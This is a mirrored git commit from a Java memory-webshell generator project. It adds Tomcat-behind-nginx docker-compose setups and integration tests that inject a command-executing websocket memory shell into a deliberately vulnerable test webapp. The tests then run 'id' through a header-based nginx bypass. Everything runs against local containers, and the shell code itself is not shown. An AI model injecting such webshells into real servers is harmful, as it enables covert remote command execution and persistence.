mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support Tomcat Command WebSocketBypassNginx
This commit is contained in:
@@ -0,0 +1,13 @@
|
||||
services:
|
||||
tomcat:
|
||||
image: tomcat:10.1-jre11
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war
|
||||
nginx:
|
||||
image: nginx:latest
|
||||
ports:
|
||||
- "80:80"
|
||||
volumes:
|
||||
- ./nginx.conf:/etc/nginx/nginx.conf:ro
|
||||
depends_on:
|
||||
- tomcat
|
||||
@@ -0,0 +1,13 @@
|
||||
services:
|
||||
tomcat:
|
||||
image: tomcat:8-jre8
|
||||
volumes:
|
||||
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
|
||||
nginx:
|
||||
image: nginx:latest
|
||||
ports:
|
||||
- "80:80"
|
||||
volumes:
|
||||
- ./nginx.conf:/etc/nginx/nginx.conf:ro
|
||||
depends_on:
|
||||
- tomcat
|
||||
@@ -0,0 +1,58 @@
|
||||
user nginx;
|
||||
worker_processes auto;
|
||||
|
||||
error_log /var/log/nginx/error.log notice;
|
||||
pid /var/run/nginx.pid;
|
||||
|
||||
events {
|
||||
worker_connections 1024;
|
||||
}
|
||||
|
||||
http {
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
|
||||
'$status $body_bytes_sent "$http_referer" '
|
||||
'"$http_user_agent" "$http_x_forwarded_for"';
|
||||
|
||||
access_log /var/log/nginx/access.log main;
|
||||
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
keepalive_timeout 65;
|
||||
gzip on;
|
||||
|
||||
upstream tomcat_backend {
|
||||
server tomcat:8080;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
server_name localhost;
|
||||
access_log /var/log/nginx/tomcat_access.log;
|
||||
error_log /var/log/nginx/tomcat_error.log;
|
||||
client_max_body_size 50M;
|
||||
|
||||
location / {
|
||||
proxy_pass http://tomcat_backend;
|
||||
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
proxy_connect_timeout 60s;
|
||||
proxy_send_timeout 60s;
|
||||
proxy_read_timeout 60s;
|
||||
proxy_buffering on;
|
||||
proxy_buffer_size 4k;
|
||||
proxy_buffers 8 4k;
|
||||
proxy_busy_buffers_size 8k;
|
||||
}
|
||||
|
||||
error_page 500 502 503 504 /50x.html;
|
||||
location = /50x.html {
|
||||
root /usr/share/nginx/html;
|
||||
}
|
||||
}
|
||||
}
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ServerType;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.testcontainers.containers.ComposeContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/1/13
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class Tomcat8WebSocketBypassNginxTest {
|
||||
|
||||
public static final String imageName = "tomcat:8-jre8";
|
||||
|
||||
@Container
|
||||
public static final ComposeContainer compose =
|
||||
new ComposeContainer(new File("docker-compose/tomcat/docker-compose-8-jre8-nginx.yaml"))
|
||||
.withExposedService("tomcat", 8080, Wait.forHttp("/app/"))
|
||||
.withExposedService("nginx", 80);
|
||||
|
||||
public static String getUrl() {
|
||||
String host = compose.getServiceHost("nginx", 80);
|
||||
int port = compose.getServicePort("nginx", 80);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testWs() {
|
||||
String url = getUrl();
|
||||
String server = ServerType.TOMCAT;
|
||||
String serverVersion = "Unknown";
|
||||
int targetJdkVersion = Opcodes.V1_8;
|
||||
String shellType = ShellType.BYPASS_NGINX_WEBSOCKET;
|
||||
String shellTool = ShellTool.Command;
|
||||
Packers packer = Packers.Base64;
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft();
|
||||
String urlPattern = urls.getRight();
|
||||
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
|
||||
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null);
|
||||
CommandConfig commandConfig = (CommandConfig) generateResult.getShellToolConfig();
|
||||
// direct connect ws will cause failed
|
||||
assertThrows(IllegalStateException.class, () -> BlockingJavaWebSocketClient.sendRequestWaitResponse(shellUrl, "id"), "WebSocket connection is not open.");
|
||||
// connect by valve bypass will success
|
||||
String response = BlockingJavaWebSocketClient.sendRequestWaitResponseWithHeader(shellUrl, "id", commandConfig.getHeaderName(), commandConfig.getHeaderValue());
|
||||
assertTrue(response.contains("uid="));
|
||||
}
|
||||
}
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ServerType;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.testcontainers.containers.ComposeContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/1/13
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class tomcat10WebSocketBypassNginxTest {
|
||||
|
||||
public static final String imageName = "tomcat:10.1-jre11";
|
||||
|
||||
@Container
|
||||
public static final ComposeContainer compose =
|
||||
new ComposeContainer(new File("docker-compose/tomcat/docker-compose-10.1-jre11-nginx.yaml"))
|
||||
.withExposedService("tomcat", 8080, Wait.forHttp("/app/"))
|
||||
.withExposedService("nginx", 80);
|
||||
|
||||
@Test
|
||||
public void testWs() {
|
||||
String url = getUrl();
|
||||
String server = ServerType.TOMCAT;
|
||||
String serverVersion = "Unknown";
|
||||
int targetJdkVersion = Opcodes.V11;
|
||||
String shellType = ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET;
|
||||
String shellTool = ShellTool.Command;
|
||||
Packers packer = Packers.Base64;
|
||||
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||
String shellUrl = urls.getLeft();
|
||||
String urlPattern = urls.getRight();
|
||||
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||
MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
|
||||
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null);
|
||||
CommandConfig commandConfig = (CommandConfig) generateResult.getShellToolConfig();
|
||||
// direct connect ws will cause failed
|
||||
assertThrows(IllegalStateException.class, () -> BlockingJavaWebSocketClient.sendRequestWaitResponse(shellUrl, "id"), "WebSocket connection is not open.");
|
||||
// connect by valve bypass will success
|
||||
String response = BlockingJavaWebSocketClient.sendRequestWaitResponseWithHeader(shellUrl, "id", commandConfig.getHeaderName(), commandConfig.getHeaderValue());
|
||||
assertTrue(response.contains("uid="));
|
||||
}
|
||||
|
||||
public static String getUrl() {
|
||||
String host = compose.getServiceHost("nginx", 80);
|
||||
int port = compose.getServicePort("nginx", 80);
|
||||
String url = "http://" + host + ":" + port + "/app";
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user